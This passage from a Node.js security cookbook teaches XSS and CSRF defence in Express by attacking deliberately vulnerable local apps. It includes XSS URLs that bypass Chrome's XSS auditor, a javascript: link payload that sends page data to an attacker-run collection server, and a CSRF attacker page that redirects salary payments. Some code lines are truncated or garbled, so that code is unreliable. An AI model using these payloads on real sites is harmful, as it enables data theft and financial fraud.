- Creating an Express Web App in Chapter 7 Working with Web Frameworks
- Implementing Authentication in Chapter 7 Working with Web Frameworks

## **Guarding Against Cross Site Scripting (XSS)**

Cross site scripting attacks are one of the most prevalent and serious attacks today. XSS exploits can endanger users and reputations in profound ways, but vulnerabilities occur easily especially when we don't practice an awareness of this particular area.

In this recipe, we're going to discover an XSS vulnerability and solve it.

## **Getting Ready**

Let's create a folder called app , initialize it as a package, install express and create an index.js file

```
$ mkdir app
$ cd app
$ npm init -y
$ npm install --save express
$ touch index.js
```

Our index.js file should look like this:

```
const express = require('express')
const app = express()
app.get('/', (req, res) => {
  const {prev = '', handoverToken = '', lang = 'en'} = req.query
  pretendDbQuery((err, status) => {
    if (err) {
      res_sendStatus(500)
      return
    }
    res.send(`
      <h1>Current Status</h1>
     <div id=stat>
       ${status}
     </div>
     <a href="${prev}${handoverToken}/${lang}"> Back to Control HQ </a
 })
})
function pretendDbQuery (cb) {
  const status = 'ON FIRE!!! HELP!!!'
 cb(null, status)
}
```

```
app.listen(3000)
```

#### How to do it

Let's start the server we prepared in the *Getting Ready* section:

```
$ node index.js
```

Our server is emulating a scenario where one page is handing over some minimal state to another via GET parameters.


The parameters (prev handoverToken and lang) are quite innocuous and indeed valid in many scenarios.

An example request to our server would look something like,

http://localhost:3000/?

prev=/home&handoverToken=JZ2AHE3GVVDBAI9XFPOAV2T9&lang=en.

Let's try opening this route in our browser:




This page represents some kind of critical user information, perhaps the state of a financial portfolio, an urgent scheduling change, or perhaps an industrial or technical status relevant to an individuals job. In any case, it's important that this information is accurate and up to date, if an attacker with an agenda could cause this important page to show misinformation for their own purposes the consequences could be substantial.

Let's imagine an attacker sends an email to a target, asking them to check the following URL status and make a decision based on that status, the URL the attacker creates is the following:

http://localhost:3000/?
prev=%22%3E%3Cscri&handoverToken=pt%3Estat.innerHTML=%22it%27s%20a
ll%20good...%3Cbr%3Erelax%20:)%22%3C&lang=script%3E%3Ca%20href=%2
2

If we visit the browser at this URL we should see something like:



To fix this vulnerability we need to escape the input

Let's copy the app folder to fixed-app:

```
$ cp -fr app fixed-app
```

Then in the fixed-app folder, we'll install the he module:

```
$ npm install ——save he
```

Next we'll require he into index.js; the top of index.js should look like so:

```
const express = require('express')
const he = require('he')
const app = express()
```

Finally we'll encode all input, let's alter our route handler as follows:

```
app.get('/', (req, res) => {
 const {prev = '', handoverToken = '', lang = 'en'} = req.query
 pretendDbQuery((err, status) => {
    if (err) {
      res_sendStatus(500)
     return
    }
    const href = he.encode(`${prev}${handoverToken}/${lang}`)
    res.send(`
     <h1>Current Status</h1>
     <div id=stat>
        ${he.escape(status)}
     </div>
     <br>
     <a href="${href}"> Back to Control HQ </a>
 })
})
```

We extracted the url portion of our HTML into the href constant, and passed the entire concatenated string into the he.encode function. Notably, we also escaped data coming from our (pretent) database query - we pass the status argument through he.escape.


Now if we run our fixed-app server:

```
$ node index.js
```

And attempt to access the same URL (http://localhost:3000/?

prev=%22%3E%3Cscri&handoverToken=pt%3Estat.innerHTML=%22it%27s%20a ll%20good...%3Cbr%3Erelax%20:)%22%3C&lang=script%3E%3Ca%20href=%2

2) in the browser, we should see the intended status, as in the following image.



# We're not fully secure yet

Our app still has another XSS vulnerability. We'll deal with this further in the **There's More** section

#### How it works

There are two mains types of XSS, reflected and persistent. Persistent XSS is where an attacker was able to implant a code exploit within a persistent layer of our architecture (for instance, a server side database, but also caching layers and browser persistant could come under the same banner). Reflected XSS is a reliant on a single interaction with a server, such that the content returned by the server contains the code exploit.

In our case, the main problem is a reflected XSS vulnerability.

The way the <a href <a href <a> attributed of the anchor tag ( <a> ) is constructed from input parameters allows an attacker to create a URL that can effectively break context</a>

(i.e. the context of being an HTML attribute), and inject code into the client.

Let's take the parameters in the malicious URL and break them down. First there's the prev parameter, which is set to %22%3E%3Cscri . For clarity, we can quickly decode the URI encoded elements like so:

```
$ $ node -p "decodeURI('%22%3E%3Cscri')"
"><scri</pre>
```

The anchor element in our original app looks like this:

```
<a href="${prev}${handoverToken}/${lang}"> Back to Control HQ </a>
```

If we replace the prev interpolation in place we get:

```
<a href=""><scri${handoverToken}/${lang}"> Back to Control HQ </a>
```

So we've been able to close the href attibute and the <a> tag and begin the <script> tag.

We can't just put the entire <script> tag in a single parameter, at least not in Chrome. Chrome has an "XSS auditor" which is enabled by default.

```
> #### XSS Auditor ![](../info.png)
> For more on Chromes XSS auditor see the **Hardening Headers in Web Fr
> recipe, in particular the portion about the `XSS-Protection` header

If we move the `pt>` characters from the `handoverToken` parameter into the `prev` parameter, in Chrome, and open Chrome Devtools we'll see an error message as shown in the following image:

![](images/xss-4.png)

By spreading the `<script>` tag across two injected parameters, we were able to bypass Chromes XSS auditor (at least the time of writing, if this no longer works in Chrome at the time of reading, we may be able to run the exploit in another browser, such as Safari, I
The `handoverToken` parameter is `pt%3Estat.innerHTML=%22it%27s%20all%2
Let's decode that:
```

```
```sh
$ node -p "decodeURI('pt%3Estat.innerHTML=%22it%27s%20all%20good...%3Cb
pt>stat.innerHTML="it's all good...<br>relax :)"<</pre>
```

Let's replace the interpolated handoverToken in our HTML alongside the replace prev token:

```
<a href=""><script>stat.innerHTML="it's all good...<br>relax :)"</${lan
```

Now we've been able to complete the <script> tag and insert some JavaScript which will run directly in the browser when the page loads.

The injected code accesses the <div> element with an id attribute distant and sets the innerHTML to an alternative status. The HTML5 specification indicates that the value of an id field should become a global variable (see <a href="https://html.spec.whatwg.org/#named-access-on-the-window-object">https://html.spec.whatwg.org/#named-access-on-the-window-object</a>). While we could use document.getElementById we use the shorthand version for our purposes (although as a development practice this a brittle approach).

Finally, the lang token is script%3E%3Ca%20href=%22.

Let's decode it:

Now let's insert that into the HTML:

```
<a href=""><script>stat.innerHTML="it's all good...<br>relax :)"</scrip</pre>
```

Notice how this attack utilized the forward slash ( / ) in the URL as the forward slash for the closing </script> tag. After closing the script tag, the JavaScript will now run in the browser, but to avoid raising suspicion the attack also creates a new dummy anchor tag to prevent any broken HTML appearing in the page.

We pass the fully assembled contents of the href attribute through the he.encode function. The he.encode function performs HTML Attribute Encoding, whereas the he.escape function (used on the status argument) performs HTML Entity encoding. Since we're placing user input inside an HTML attribute, the safest way to escape the input is by encoding all non-alphanumeric characters as hex

value HTML entities. For instance the double quote "becomes " , which prevents it from closing out the attribute.

We also pass the status parameter which originates in from our pretendDbQuery call through the he.escape function. The he.escape function converts HTML syntax into HTML (semantic) entities, for instance the opening tag less than character ( < ) becomes &lt;

All input that isn't generated by our Node process should be treated as user input. We cannot guarantee whether other parts of the system have allowed uncleaned user input into the database, so to avoid persistent XSS attacks we need to clean database input as well.

We pass status through he escape because it appears in a general HTML context, whereas we pass href through he encode because it appears in an HTML attribute context.

### There's more

Our server is still vulnerable, let's fix it. Also let's explore some other practices that help with general server security.

### Preventing protocol-handler-based XSS

Our server is still vulnerable to XSS injection.

In this scenario, an attacker is going to steal the status (which represents privileged information).

Let's use the following command to create a "malicious" data collection server:

```
$ node -e "require('http').createServer((req, res) => {
  console.log(
    req.connection.remoteAddress,
    Buffer(req.url.split('/attack/')[1], 'base64').toString().trim()
  )
}).listen(3001)"
```

We're using the \_e flag (evaluate) to quickly spin up an HTTP server that logs the user IP address, and stolen status. It's expecting the status to be base64 encoded (this helps to avoid potential errors on the client side).

Now let's start the fixed-app server from the main recipe:

```
$ cd fixed-app
$ node index.js
```

In the browser, we'll use the following URL to initiate the attack:

http://localhost:3000/?prev=javascript: (new%20Image().src)=`http://localhost:3001/attack/\${btoa(stat.innerHTML)}`,0/

This won't change any visible rendering but it will cause the "Back to Control HQ" link to point to javascript: (new Image().src)=``http://localhost:3001/attack/\${btoa(stat.innerHTML)}``,0/

When the link is clicked, an HTML <img> element is created, (via the JavaScript Image constructor), with the src attribute set to our attack server with the base64 encoded stolen status. We use the btoa global function to base64 encode, and the global DOM element ID behavior to again grab the inner html of the status <div> . The following ,0 portion causes the return value of the entire expression to be falsey, if the return value is not falsey the browser will render it (in this case the absence of the ,0 would result in the browser rendering the attack URL, which is a dead giveaway). The final forward slash / couples with the forward slash after the prev parameter to create a double forward slash (//), which in JavaScript is comment. This causes the rest of the content in the href to be ignored.

If we click the link, our data collection server should show a message:

```
::1 ON FIRE!!! HELP!!!
```

As shown in the following image:

```
$ node -e "require('http').createServer((req, res) => {
    console.log(
        req.connection.remoteAddress,
        Buffer(req.url.split('/attack/')[1], 'base64').toString().trim()
    )
    }).listen(3001)"
::1 ON FIRE!!! HELP!!!
```

::1 is the IPv6 address for the localhost (the equivalent of 127.0.0.1).

The javascript: protocol handler allows for JavaScript execution as a URI. This is of course, a terrible idea. However, custom protocol handlers are introduced into browsers all the time and may also have vulnerabilities. For instance the Steam gaming platform when installed introduces the steam:// protocol into browsers, which could in turn be exploited to execute arbitrary Operating System commands on the host machine via a second buffer overflow vulnerability in Steams splash screen (see

http://revuln.com/files/ReVuln\_Steam\_Browser\_Protocol\_Insecurity.pdf).

Our server is vulnerable because we allow user input to determine the beginning of a href attribute - the only safe way to avoid a protocol handler exploit is to never do that.

We can fix this by including an explicit route in the href attribute.

Let's copy fixed-app to protocol-safe-app:

```
$ cp -fr fixed-app protocol-safe-app
```

Now let's modify the href constant to:

```
const href = escapeHtml(`/${prev}${handoverToken}/${lang}`)
```

If we stop the fixed-app server and start the protocol-safe-app server:

```
$ cd protocol-safe-app
```

```
$ node index.js
```

And attempt to use the same URL http://localhost:3000/?prev=javascript: (new%20Image().src)=`http://localhost:3001/attack/\${btoa(stat.innerHTML)}`,0/, when we click the "Back to Control HQ" link, we should instead receive a 404 message (in development the message will be something like "Cannot GET /javascript:

(new%20Image().src)=%60http://localhost:3001/attack/\$%7Bbtoa(stat.innerHTML) %7D%60,0//en").

# CSRF 💢

This attack conceptually touches on CSRF, by using XSS to initiate an attack that uses the (hypothetical) access privilege of the user to execute commands on their behalf. We'll find out more about CSRF in the **Preventing Cross Site Request Forgery** recipe.

#### **Parameter Validation**

The browser address bar does not wrap a long URL, if the URL is longer than the address bar the remainder of the URL is hidden.

This can make it difficult, even for savvy users, to identify a malicious URL, especially when the site has a tendency to use long URLs in the first place. This is, even more of a problem on mobile devices.

In general, even for useability, it's good practice to keep URLs as short as possible. Enforcing a short URL length (that fits in a smallish desktop browser window), to say, 140 characters is probably too brittle for most sites, but one thing we could do in our case is enforce expected parameter constraints.

Let's copy the original app folder we prepared in the **Getting Ready** section to a folder called param-constraints-app:

```
$ cp -fr app param-constraints-app
```

In index.js we'll create a simply validation function:

```
function validate ({prev, handoverToken, lang}, query) {
  var valid = Object.keys(query).length <= 3</pre>
```

```
valid = valid && typeof lang === 'string' && lang.length === 2
  valid = valid && typeof handoverToken === 'string' && handoverToken.l
  valid = valid && typeof prev === 'string' && prev.length < 10</pre>
  return valid
}
```

# Object Validation



For serious validation, check out the http://npm.im/joi module, it's primarily maintained by the HapiJS community but it can be used with any web framework.

Now we'll insert validation near the top of our route handler:

```
app.get('/', (req, res) => {
  const {prev = '', handoverToken = '', lang = 'en'} = req.query
  if (!validate({prev, handoverToken, lang}, req.query)) {
    res.sendStatus(422)
    return
  }
  pretendDbQuery((err, status) => {
    if (err) {
      res.sendStatus(500)
      return
    }
    res_send(`
      <h1>Current Status</h1>
      <div id=stat>
        ${status}
      </div>
      <div>
      <a href="${prev}${handoverToken}/${lang}"> Back to Control HQ </a
      </div>
    `)
  })
})
```

Now if we try the malicious URL from the main recipe, http://localhost:3000/? prev=%22%3E%3Cscri&handoverToken=pt%3Estat.innerHTML=%22it%27s%20a II%20good...%3Cbr%3Erelax%20:)%22%3C&lang=script%3E%3Ca%20href=%2 2 we'll get an "Unprocessable Entity" response.

While strict parameter validation does make it far more difficult to craft a malicious

URL it is not as safe as escaping the HTML and avoiding protocol handlers - for instance the following URL can still execute JavaScript when the link is clicked:

http://localhost:3000/?prev=javasc&handoverToken=ript:alert(%27hi%27)

This is because the parameters still fit in the constraints.

A combination of escaping user input and external data, avoiding user input from setting protocol handlers in URLs and enforcing parameter constraints is the safest approach.

# **Escaping in JavaScript contexts**

We've explored both HTML and HTML attribute encoding, but user input may appear in other contexts too, such as in a piece of of JavaScript code. While embedding user input in JavaScript is highly recommended against if there ever is cause we should escape untrusted input in JavaScript with unicode escapes.

We can use jsesc to do this https://github.com/mathiasbynens/jsesc.

# OWASP Output encodings



For a full list of encoding formats for various scenarios see https://www.owasp.org/index.php/XSS\_(Cross\_Site\_Scripting)\_Prevention\_Ch eat\_Sheet#Output\_Encoding\_Rules\_Summary

# See also

- Creating an HTTP server in Chapter 5 Wielding Web Protocols
- Creating an Express Web App in Chapter 7 Working with Web Frameworks
- Implementing Authentication in Chapter 7 Working with Web Frameworks
- Creating an Express Web App in Chapter 7 Working with Web Frameworks
- Implementing Authentication in Chapter 7 Working with Web Frameworks

# **Preventing Cross Site Request Forgery**

The browser security model, where a session cookie is valid globally among all windows/tabs, allows for a request to be made with the privileges of the logged in user.

Where Cross Site Scripting (XSS) is making code delivered through one place (be it a malicious site, email, text message, downloaded file, etcetera), execute on another site, Cross Site Request Forgery is the act of making a request from one place (again either a malicious site or otherwise) to another site that a user is logged into - that is where they have an open HTTP Session.

In short, XSS is running malicious code on another site, CSRF is making a request to another site that executes an action on a logged in users behalf.

In this recipe, we're going to secure a server against CSRF attacks.

# **Getting Ready**

We're going to create a simple server that manages "Employee Payment Profile" updates, and an adversarial server that uses CSRF to change where an employees hypothetical salary is sent.

To demonstrate cross domain interaction locally, we need to simulate domains on our host machine, we can use the devurl tool, let's install it like so:

```
$ npm install -g devurl
```

Let's begin with the target server, we'll create a folder called app, initialize it as a package, install express, express-session and body-parser and he, and create an index.js file:

```
$ mkdir app
$ cd app
$ npm init -y
$ npm install express express-session body-parser he
$ touch index.js
```

Our app/index.js should look as follows:

```
const express = require('express')
const bodyParser = require('body-parser')
const session = require('express-session')
const he = require('he')
const app = express()

const pretendData = {
   dave: {
```

```
ac: '12345678',
    sc: '88-26-26'
 }
}
app.use(session({
  secret: 'AI overlords are coming',
 name: 'SESSIONID',
  resave: false,
  saveUninitialized: false
}))
app.use(bodyParser.urlencoded({extended: false}))
app.get('/', (reg, res) => {
  if (reg.session.user) return res.redirect('/profile')
  res.send()
    <h1> Login </h1>
    <form method="POST" action="/">
      <label> user <input name=user> </label> <br>
      <label> pass <input name=pass type=password> </label> <br>
      <input type=submit>
   </form>
  `)
})
app.post('/', (req, res) => {
  if (req.body.user === 'dave' && req.body.pass === 'ncb') {
    req.session.user = req.body.user
 if (req.session.user) res.redirect('/profile')
 else res.redirect('/')
})
app.get('/profile', (req, res) => {
  if (!req.session.user) return res.redirect('/')
  const {prev = '', handoverToken = '', lang = 'en'} = req.query
  pretendDbQuery(req.session.user, (err, {sc, ac}) => {
    if (err) {
      res.sendStatus(500)
      return
    }
    sc = he.encode(sc)
    ac = he.encode(ac)
    res.send(`
      <h1>Employee Payment Profile</h1>
      <form method="POST" action=/update>
        <label> Sort Code <input name=sc value="${sc}"> </label> <br>
        <label> Account # <input name=ac value="${ac}"> </label> <br>
        <input type=submit>
      </form>
```

```
})
})
app.post('/update', (reg, res) => {
  if (!req.session.user) return res.sendStatus(403)
  pretendData[req.session.user].ac = req.body.ac
  pretendData[req.session.user].sc = req.body.sc
  res.send()
    <h1> updated </h1>
   <meta http-equiv="refresh" content="1; url=/profile">
  `)
})
function pretendDbQuery (user, cb) {
  cb(null, pretendData[user])
}
app.listen(3000)
```

# he.encode



See the Guarding Against Cross Site Scripting (XSS) recipe in this chapter for details on why we use he encode here.

Now we'll create a hypothetical attackers server. First we'll change directory up from the app folder, create an attacker folder, with an index. is file:

```
$ cd ..
$ mkdir attacker
$ cd attacker
$ touch index.js
```

The attacker/index.js should look as follows:

```
const http = require('http')
cons: ttackerAc = '87654321'
const attackerSc = '11-11-11'
const attackerMsg = 'Everything you could ever want is only one click a
const server = http.createServer((req, res) => {
  res.writeHead(200, {'Content-Type': 'text/html'})
  res_end(`
    <iframe name=hide style="position:absolute;left:-1000px"></iframe>
    <form method="post" action="http://app.local/update" target=hide>
```

### How to do it

First let's explore the problem. We'll start both the vulnerable and adversarial servers.

If, on the command line, we are in the directory directly above the app and attacker we can start each server by referencing the folder:

```
$ node app/
```

And in another terminal window:

```
$ node attacker/
```

Now let's set up some local domains to proxy to our two servers, using devurl (which we installed in the **Getting Ready** section).

In a third terminal window, we run:

```
$ devurl app.local http://localhost:3000
```

And in yet another terminal window:

```
$ devurl attacker.local http://localhost:3001

Next let's navigate our browser to http://app.local,
and login with the username of "dave" and password of "ncb",
this should result in the following profile screen:
![](images/csrf-1.png)

The details show that the account number is 12345678
```

```
and the sort code is 18-26-26.
Now let's open a new tab, and navigate to http://attacker.local:
![](images/csrf-2.png)
While every instinct tells us not to click the button which says
"Everything you could ever want is only one click away", let's
click it.
Now if we go back to the first tab, and refresh, we'll find
that the details now show account number, 87654321
with sort code 11-11-11.
This attack would work even if the first tab (where we initially
logged in) was closed. As long as the browser still has a session
cookie, any other tab or window can submit POST requests as a logged
in user.
Now let's fix it. Let's copy the `app` folder to `fixed-app`.
```sh
$ cp -fr app fixed-app
```

In fixed-app/index.js we'll update the session middleware like so:

```
app.use(session({
   secret: 'AI overlords are coming',
   name: 'SESSIONID',
   resave: false,
   saveUninitialized: false,
   cookie: {
      sameSite: true
   }
})))
```

Now let's stop the app server and run the fixed-app server:

```
$ node fixed-app/
```

Also, we need to restart the devurl proxy:

```
$ devurl app.local http://localhost:3000
```

If we navigate the browser to http://app.local again, and login we'll see the profile

screen as before. Opening a new tab at <a href="http://attacker.local">http://attacker.local</a> and clicking the button should have no effect (which we can verify by refreshing the <a href="http://app.local">http://app.local</a> tab, as before). We should also see a 403 Forbidden error in Chromes Devtools.

# Browser Support

**WARNING**: The technique in this recipe is only supported in modern browsers, see <a href="http://caniuse.com/#feat=same-site-cookie-attribute">http://caniuse.com/#feat=same-site-cookie-attribute</a> for browser version support. In the **There's More** section we'll include a fallback technique that is essential to avoiding CSRF attacks for browsers who lack support for the SameSite cookie.

## How it works

The express—session cookie.sameSite option is passed to the underlying cookie module which generates a Set—Cookie HTTP header with SameSite=Strict appended to the end.

For instance, header might look like:

Set-Cookie: SESSIONID=s%3Au10mVSF6bQUXxMz4eIS4F8-32pK0rikc.f1y...bHX7QUGc

Notice SameSite=Strict at the end. The SameSite directive can be set to strict or lax - using true equates to setting it to strict.

The lax mode allows GET requests (which should be immutable) to be submitted cross-site - this may be important in widget or advertising situations (such as a facebook like button).

If this isn't a requirement strict is a better option, since it precludes exploitation of poor or accidental route handling where a GET request modifies server state.

When a (modern) browser observes the directive we essentially opt-in to an enforced same origin policy for cookies.

### There's more

Our app is not yet secure in old browsers, we need an alternative strategy.

### **Securing Older Browsers**

Not all browsers support the SameSite cookie directive, so in older browsers we need an alternative strategy. The best fallback strategy is to create cryptographically secure anti-csrf tokens which are stored in a user session and mirrored back from the browser either in a request header, body or querystring. Since an attacker needs access to the session in order to steal the token, and access to the token in order to execute privileged actions this reduces the attack vector significantly.

Let's copy the fixed-app folder from the main recipe to a folder named secured-app, then install the csurf module in secured-app:

```
$ cp -fr fixed-app secured-app
$ cd secured-app
$ npm install --save csurf
```

We'll require csurf and instantiate an instance of it, the top of our index.js file should look like so:

```
const express = require('express')
const bodyParser = require('body-parser')
const session = require('express-session')
const he = require('he')
const csurf = require('csurf')
const app = express()
const csrf = csurf()
```

Our /profile route should be altered like so:

```
app.get('/profile', csrf, (req, res) => {
 if (!req.session.user) return res.redirect('/')
 const {prev = '', handoverToken = '', lang = 'en'} = req.query
 pretendDbQuery(req.session.user, (err, {sc, ac}) => {
   if (err) {
      res_sendStatus(500)
     return
   }
    sc = he.encode(sc)
    ac = he.encode(ac)
    res.send(`
     <h1>Employee Payment Profile</h1>
     <form method="POST" action=/update>
        <input type=hidden name=_csrf value="${req.csrfToken()}">
        <label> Sort Code <input name=sc value="${sc}"> </label> <br>
        <label> Account # <input name=ac value="${ac}"> </label> <br>
```

```
<input type=submit>
    </form>
    `)
    })
})
```

We've inserted the csrf route protection middleware as the second argument, which gives the ability to call req.csrfToken in our HTML template. We generate the token with req.csrfToken and place it as the value input of a hidden field named \_csrf (the csurf middleware looks in several places for the token, the POST body \_csrf namespace being one of them).

Finally we include the csrf route protection middleware as the second argument of our /update post route as well:

```
app.post('/update', csrf, (req, res) => {
```

The csrf middleware detects that the request is mutable (e.g. it's a POST method request) and checks the body of the POST request for a \_csrf field which it checks against a token stored within the users session.

Our server is now fully secured against CSRF attacks in modern and legacy browsers alike.

To be clear however, a server with an XSS vulnerability would still be susceptable to CSRF attacks, because an XSS exploit could be used to steal the CSRF token. The SameSite cookie directive does not have that problem.

## See also

- Receiving POST Data in Chapter 5 Wielding Web Protocols
- Creating an Express Web App in Chapter 7 Working with Web Frameworks
- Implementing Authentication in Chapter 7 Working with Web Frameworks